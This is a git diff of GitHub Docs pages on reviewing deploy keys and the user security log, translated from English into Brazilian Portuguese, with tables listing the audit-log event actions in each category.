+
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. In the left sidebar, click **Deploy keys**.
-![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
-4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**.
-	![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png)
+3. Na barra lateral esquerda, clique em **Deploy keys** (Chaves de implantação). ![Configuração das chaves de implantação](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
+4. Na página das chaves de implantação, anote as chaves de implantação associadas à sua conta. Para as chaves não reconhecidas ou desatualizadas, clique em **Delete** (Excluir). Se houver chaves de implantação válidas que deseja manter, clique em **Approve** (Aprovar). ![Lista de chaves de implantação](/assets/images/help/settings/settings-deploy-key-review.png)
 
-For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)."
+Para obter mais informações, consulte "[Gerenciar chaves de implantação](/guides/managing-deploy-keys)".
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
+## Leia mais
+- [Configurar notificações](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
diff --git a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
index df5bf71441..60c7cd7a6d 100644
--- a/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
+++ b/translations/pt-BR/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your security log
-intro: You can review the security log for your user account to better understand actions you've performed and actions others have performed that involve you.
+title: Revisar seus logs de segurança
+intro: Você pode revisar o log de segurança da sua conta de usuário para entender melhor as ações que você realizou e ações realizadas por outras pessoas que envolvem você.
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/reviewing-your-security-log
@@ -14,254 +14,248 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Security log
+shortTitle: Log de segurança
 ---
-## Accessing your security log
 
-The security log lists all actions performed within the last 90 days.
+## Acessar o log de segurança
+
+O log de segurança lista todas as ações realizadas nos últimos 90 dias.
 
 {% data reusables.user_settings.access_settings %}
 {% ifversion fpt or ghae or ghes or ghec %}
-2. In the user settings sidebar, click **Security log**.
-  ![Security log tab](/assets/images/help/settings/audit-log-tab.png)
+2. Na barra lateral de configurações do usuário, clique em **log de segurança**. ![Aba do log de segurança](/assets/images/help/settings/audit-log-tab.png)
 {% else %}
 {% data reusables.user_settings.security %}
-3. Under "Security history," your log is displayed.
-  ![Security log](/assets/images/help/settings/user_security_log.png)
-4. Click on an entry to see more information about the event.
-  ![Security log](/assets/images/help/settings/user_security_history_action.png)
+3. O log é exibido em "Security history" (Histórico de segurança). ![Log de segurança](/assets/images/help/settings/user_security_log.png)
+4. Clique em uma entrada para ver mais informações sobre o evento. ![Log de segurança](/assets/images/help/settings/user_security_history_action.png)
 {% endif %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
-## Searching your security log
+## Pesquisar no seu registro de segurança
 
 {% data reusables.audit_log.audit-log-search %}
 
-### Search based on the action performed
+### Pesquisar com base na ação
 {% else %}
-## Understanding events in your security log
+## Entender eventos no seu log de segurança
 {% endif %}
 
-The events listed in your security log are triggered by your actions. Actions are grouped into the following categories:
+Os eventos listados no seu registro de segurança são acionados por suas ações. As ações são agrupadas nas seguintes categorias:
 
-| Category name | Description
-|------------------|-------------------{% ifversion fpt or ghec %}
-| [`billing`](#billing-category-actions) | Contains all activities related to your billing information.
-| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)."
-| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement.
-| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}
-| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
-| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %}
-| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture.
-| [`project`](#project-category-actions) | Contains all activities related to project boards.
-| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account).
-| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
-| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
-| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %}
-| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
-| [`user`](#user-category-actions) | Contains all activities related to your account.
+| Categoria                                                                              | Descrição                                                                                                                                                                                                                                                                                                                                                                                                           |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %}
+| [`cobrança`](#billing-category-actions)                                                | Contém todas as atividades relacionadas às suas informações de cobrança.                                                                                                                                                                                                                                                                                                                                            |
+| [`espaços de código`](#codespaces-category-actions)                                    | Contém todas as atividades relacionadas a {% data variables.product.prodname_codespaces %}. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)".                                                                                                                                                         |
+| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contém todas as atividades relacionadas à assinatura do Contrato de desenvolvedor do {% data variables.product.prodname_marketplace %}.                                                                                                                                                                                                                                                                             |
+| [`marketplace_listing`](#marketplace_listing-category-actions)                         | Contém todas as atividades relacionadas aos aplicativos listados no {% data variables.product.prodname_marketplace %}.{% endif %}
+| [`oauth_access`](#oauth_access-category-actions)                                       | Contém todas as atividades relacionadas aos [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) com os quais você se conectou.{% ifversion fpt or ghec %}
+| [`payment_method`](#payment_method-category-actions)                                   | Contém todas as atividades relacionadas ao pagamento da sua assinatura do {% data variables.product.prodname_dotcom %}.{% endif %}
+| [`profile_picture`](#profile_picture-category-actions)                                 | Contém todas as atividades relacionadas à imagem do seu perfil.                                                                                                                                                                                                                                                                                                                                                     |
+| [`project`](#project-category-actions)                                                 | Contém todas as atividades relacionadas aos quadros de projeto.                                                                                                                                                                                                                                                                                                                                                     |
+| [`public_key`](#public_key-category-actions)                                           | Contém todas as atividades relacionadas às [chaves SSH públicas](/articles/adding-a-new-ssh-key-to-your-github-account).                                                                                                                                                                                                                                                                                            |
+| [`repo`](#repo-category-actions)                                                       | Contém todas as atividades relacionadas aos repositórios que você possui.{% ifversion fpt or ghec %}
+| [`sponsors`](#sponsors-category-actions)                                               | Contém todos os eventos relacionados a {% data variables.product.prodname_sponsors %} e botões de patrocinador (consulte "[Sobre {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" e "[ Exibir um botão de patrocinador no seu repositório](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
+| [`equipe`](#team-category-actions)                                                     | Contém todas as atividades relacionadas a equipes das quais você faz parte.{% endif %}{% ifversion not ghae %}
+| [`two_factor_authentication`](#two_factor_authentication-category-actions)             | Contem todas as atividades relacionadas a [autenticação de dois fatores](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
+| [`usuário`](#user-category-actions)                                                    | Contém todas as atividades relacionadas à sua conta.                                                                                                                                                                                                                                                                                                                                                                |
 
 {% ifversion fpt or ghec %}
 
-## Exporting your security log
+## Exportar o seu log de segurança
 
 {% data reusables.audit_log.export-log %}
 {% data reusables.audit_log.exported-log-keys-and-values %}
 
 {% endif %}
 
-## Security log actions
+## Ações do log de segurança
 
-An overview of some of the most common actions that are recorded as events in the security log.
+Uma visão geral de algumas das ações mais comuns que são registradas como eventos no log de segurança.
 
 {% ifversion fpt or ghec %}
 
-### `billing` category actions
+### ações de categoria de `cobrança`
 
-| Action | Description
-|------------------|-------------------
-| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}.
-| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address).
+| Ação                  | Descrição                                                                                                                                        |
+| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `change_billing_type` | Acionada quando você [altera o modo de pagamento](/articles/adding-or-editing-a-payment-method) do {% data variables.product.prodname_dotcom %}. |
+| `change_email`        | Acionada quando você [altera o endereço de e-mail](/articles/changing-your-primary-email-address).                                               |
 
-### `codespaces` category actions
+### ações da categoria `codespaces`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
-| `resume` | Triggered when you resume a suspended codespace.
-| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
-| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
-| `trusted_repositories_access_update` | Triggered when you change your user account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+| Ação                                 | Descrição                                                                                                                                                                                                                                    |
+| ------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create`                             | Acionada ao [criar codespace](/github/developing-online-with-codespaces/creating-a-codespace).                                                                                                                                               |
+| `resume`                             | Acionada ao retomar um codespace suspenso.                                                                                                                                                                                                   |
+| `delete`                             | Acionada quando você [exclui um codespace](/github/developing-online-with-codespaces/deleting-a-codespace).                                                                                                                                  |
+| `manage_access_and_security`         | Acionada quando você atualiza [os repositórios aos quais um codespace tem acesso](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).                                                                    |
+| `trusted_repositories_access_update` | Acionada quando você altera o [acesso e as configurações de segurança da sua conta de usuário para {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces). |
 
-### `marketplace_agreement_signature` category actions
+### ações de categoria de `marketplace_agreement_signature`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement.
+| Ação     | Descrição                                                                                                     |
+| -------- | ------------------------------------------------------------------------------------------------------------- |
+| `create` | Acionada quando você assina o Contrato de desenvolvedor do {% data variables.product.prodname_marketplace %}. |
 
-### `marketplace_listing` category actions
+### ações de categoria de `marketplace_listing`
 
-| Action | Description
-|------------------|-------------------
-| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}.
-| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}.
-| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}.
-| `redraft` | Triggered when your listing is sent back to draft state.
-| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+| Ação      | Descrição                                                                                                    |
+| --------- | ------------------------------------------------------------------------------------------------------------ |
+| `aprovar` | Acionada quando sua lista é aprovada para inclusão no {% data variables.product.prodname_marketplace %}.     |
+| `create`  | Acionada quando você cria uma lista para seu app no {% data variables.product.prodname_marketplace %}.       |
+| `delist`  | Acionada quando sua lista é removida do {% data variables.product.prodname_marketplace %}.                   |
+| `redraft` | Triggered when your listing is sent back to draft state.                                                     |
+| `reject`  | Acionada quando sua lista não é aprovada para inclusão no {% data variables.product.prodname_marketplace %}. |
 
 {% endif %}
 
-### `oauth_authorization` category actions
+### Ações da categoria `oauth_authorization`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).
-| `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %}
+| Ação      | Descrição                                                                                                                                                                                                                                                                                                                                                                                              |
+| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `create`  | Acionada quando você [concede acesso a um {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).                                                                                                                                                                                                            |
+| `destroy` | Acionada quando você [revoga o acesso de {% data variables.product.prodname_oauth_app %} à sua conta](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} e quando [as autorizações são revogadas ou vencem](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %}
 
 {% ifversion fpt or ghec %}
 
-### `payment_method` category actions
+### ações de categoria `payment_method`
 
-| Action | Description
-|------------------|-------------------
-| `clear` | Triggered when [a payment method](/articles/removing-a-payment-method) on file is removed.
-| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account.
-| `update` | Triggered when an existing payment method is updated.
+| Ação     | Descrição                                                                                                  |
+| -------- | ---------------------------------------------------------------------------------------------------------- |
+| `create` | Acionada quando um novo método de pagamento, como um novo cartão de crédito ou conta PayPal, é adicionado. |
+| `update` | Acionada quando um método de pagamento é atualizado.                                                       |
 
 {% endif %}
 
-### `profile_picture` category actions
+### ações de categoria `profile_picture`
 
-| Action | Description
-|------------------|-------------------
-| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/).
+| Ação     | Descrição                                                                                                 |
+| -------- | --------------------------------------------------------------------------------------------------------- |
+| `update` | Acionada quando você [configura ou atualiza sua foto do perfil](/articles/setting-your-profile-picture/). |
 
-### `project` category actions
+### ações de categoria `project`
 
-| Action | Description
-|--------------------|---------------------
-| `access` | Triggered when a project board's visibility is changed.
-| `create` | Triggered when a project board is created.
-| `rename` | Triggered when a project board is renamed.
-| `update` | Triggered when a project board is updated.
-| `delete` | Triggered when a project board is deleted.
-| `link`   | Triggered when a repository is linked to a project board.
-| `unlink` | Triggered when a repository is unlinked from a project board.
-| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed.
+| Ação                     | Descrição                                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
+| `access`                 | Acionada quando a visibilidade de um quadro de projeto é alterada.                                                              |
+| `create`                 | Acionada quando um quadro de projeto é criado.                                                                                  |
+| `rename`                 | Acionada quando um quadro de projeto é renomeado.                                                                               |
+| `update`                 | Acionada quando um quadro de projeto é atualizado.                                                                              |
+| `delete`                 | Acionada quando um quadro de projeto é excluído.                                                                                |
+| `link`                   | Acionada quando um repositório é vinculado a um quadro de projeto.                                                              |
+| `unlink`                 | Acionada quando um repositório é desvinculado de um quadro de projeto.                                                          |
+| `update_user_permission` | Acionada quando um colaborador externo é adicionado ou removido de um quadro de projeto ou tem seu nível de permissão alterado. |
 
-### `public_key` category actions
+### ações de categoria `public_key`
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account).
-| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).
+| Ação     | Descrição                                                                                                                                                                                                                                                           |
+| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create` | Acionada quando você [adiciona uma nova chave SSH pública à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). |
+| `delete` | Acionada quando você [remove uma chave SSH pública na sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).                           |
 
-### `repo` category actions
+### ações de categoria `repo`
 
-| Action | Description
-|------------------|-------------------
-| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa).
-| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository.
-| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.
-| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %}
-| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).
-| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
-| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).
-| `destroy` |  Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
-| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
-| `enable` | Triggered when a repository is re-enabled.{% endif %}
-| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository).
-| `remove_topic` | Triggered when a repository owner removes a topic from a repository.
-| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).
-| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository).
-| `transfer_start` | Triggered when a repository transfer is about to occur.
-| `unarchived` | Triggered when a repository owner unarchives a repository.
+| Ação                                  | Descrição                                                                                                                                                                                                                                                                                                                                   |
+| ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `access`                              | Acionada quando um repositório seu é [alterado de "privado" para "público"](/articles/making-a-private-repository-public) (ou vice-versa).                                                                                                                                                                                                  |
+| `add_member`                          | Acionada quando um usuário do {% data variables.product.product_name %} {% ifversion fpt or ghec %}[é convidado para ter acesso de colaboração](/articles/inviting-collaborators-to-a-personal-repository){% else %}[recebe acesso de colaboração](/articles/inviting-collaborators-to-a-personal-repository){% endif %} em um repositório. |
+| `add_topic`                           | Acionada quando um proprietário do repositório [adiciona um tópico](/articles/classifying-your-repository-with-topics) a um repositório.                                                                                                                                                                                                    |
+| `archived`                            | Acionada quando um proprietário do repositório [arquiva um repositório](/articles/about-archiving-repositories).{% ifversion ghes %}
+| `config.disable_anonymous_git_access` | Acionada quando um [acesso de leitura anônimo do Git é desabilitado](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) em um repositório público.                                                                                                                                         |
+| `config.enable_anonymous_git_access`  | Acionada quando um [acesso de leitura anônimo do Git é habilitado](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) em um repositório público.                                                                                                                                           |
+| `config.lock_anonymous_git_access`    | Acionada quando a [configuração de acesso de leitura anônimo do Git de um repositório é bloqueada](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).                                                                                                                 |
+| `config.unlock_anonymous_git_access`  | Acionada quando a [configuração de acesso de leitura anônimo do Git de um repositório é desbloqueada](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
+| `create`                              | Acionada quando [um repositório é criado](/articles/creating-a-new-repository).                                                                                                                                                                                                                                                             |
+| `destroy`                             | Acionada quando [um repositório é excluído](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
+| `desabilitar`                         | Acionada quando um repositório é desabilitado (por exemplo, por [fundos insuficientes](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
+| `habilitar`                           | Acionada quando um repositório é habilitado novamente.{% endif %}
+| `remove_member`                       | Acionada quando um usuário do {% data variables.product.product_name %} é [removido de um repositório como um colaborador](/articles/removing-a-collaborator-from-a-personal-repository).                                                                                                                                                   |
+| `remove_topic`                        | Acionada quando um proprietário do repositório remove um tópico de um repositório.                                                                                                                                                                                                                                                          |
+| `rename`                              | Acionada quando [um repositório é renomeado](/articles/renaming-a-repository).                                                                                                                                                                                                                                                              |
+| `transferir`                          | Acionada quando [um repositório é transferido](/articles/how-to-transfer-a-repository).                                                                                                                                                                                                                                                     |
+| `transfer_start`                      | Acionada quando uma transferência de repositório está prestes a ocorrer.                                                                                                                                                                                                                                                                    |
+| `unarchived`                          | Acionada quando um proprietário do repositório desarquiva um repositório.                                                                                                                                                                                                                                                                   |
 
 {% ifversion fpt or ghec %}
-### `sponsors` category actions
+### ações de categoria de `patrocinadores`
 
-| Action | Description
-|------------------|-------------------
-| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")
-| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)")
-| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")
-| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled
-| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state
-| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")
-| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")
-| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")
-| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
+| Ação                                          | Descrição                                                                                                                                                                                                                                                                                                                               |
+| --------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `custom_amount_settings_change`               | Acionada quando você habilita ou desabilita os valores personalizados ou quando altera os valores sugeridos (consulte "[Gerenciar as suas camadas de patrocínio](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")                                                                   |
+| `repo_funding_links_file_action`              | Acionada quando você altera o arquivo FUNDING no repositório (consulte "[Exibir botão de patrocinador no repositório](/articles/displaying-a-sponsor-button-in-your-repository)")                                                                                                                                                       |
+| `sponsor_sponsorship_cancel`                  | Acionada quando você cancela um patrocínio (consulte "[Fazer downgrade de um patrocínio](/articles/downgrading-a-sponsorship)")                                                                                                                                                                                                         |
+| `sponsor_sponsorship_create`                  | Acionada quando você patrocina uma conta (consulte "[Patrocinar um contribuidor de código aberto](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")                                                                                                                                                |
+| `sponsor_sponsorship_payment_complete`        | Acionada depois que você patrocinar uma conta e seu pagamento ser processado (consulte [Patrocinando um colaborador de código aberto](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")                                                                                                            |
+| `sponsor_sponsorship_preference_change`       | Acionada quando você altera o recebimento de atualizações de e-mail de um desenvolvedor patrocinado (consulte "[Gerenciar o patrocínio](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")                                                                                                                      |
+| `sponsor_sponsorship_tier_change`             | Acionada quando você faz upgrade ou downgrade do patrocínio (consulte "[Atualizar um patrocínio](/articles/upgrading-a-sponsorship)" e "[Fazer downgrade de um patrocínio](/articles/downgrading-a-sponsorship)")                                                                                                                       |
+| `sponsored_developer_approve`                 | Acionada quando sua conta do {% data variables.product.prodname_sponsors %} é aprovada (consulte "[Configuração de {% data variables.product.prodname_sponsors %} para sua conta de usuário](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")                               |
+| `sponsored_developer_create`                  | Acionada quando sua conta de {% data variables.product.prodname_sponsors %} é criada (consulte "[Configurar {% data variables.product.prodname_sponsors %} para sua conta de usuário](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")                                      |
+| `sponsored_developer_disable`                 | Acionada quando sua conta {% data variables.product.prodname_sponsors %} está desabilitado                                                                                                                                                                                                                                              |
+| `sponsored_developer_redraft`                 | Acionada quando sua conta de {% data variables.product.prodname_sponsors %} é retornada ao estado de rascunho a partir do estado aprovado                                                                                                                                                                                               |
+| `sponsored_developer_profile_update`          | Acionada quando você edita seu perfil de desenvolvedor patrocinado (consulte "[Editar informações de perfil para {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")                                                           |
+| `sponsored_developer_request_approval`        | Acionada quando você enviar seu aplicativo para {% data variables.product.prodname_sponsors %} para aprovação (consulte "[Configurar {% data variables.product.prodname_sponsors %} para sua conta de usuário](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")             |
+| `sponsored_developer_tier_description_update` | Acionada quando você altera a descrição de uma camada de patrocínio (consulte "[Gerenciar suas camadas de patrocínio](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")                                                                                                                       |
+| `sponsored_developer_update_newsletter_send`  | Acionada quando você envia uma atualização por e-mail aos patrocinadores (consulte "[Entrar em contato com os patrocinadores](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")                                                                                                                      |
+| `waitlist_invite_sponsored_developer`         | Acionada quando você é convidado a juntar-se a {% data variables.product.prodname_sponsors %} a partir da lista de espera (consulte "[Configurar {% data variables.product.prodname_sponsors %} para sua conta de usuário](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") |
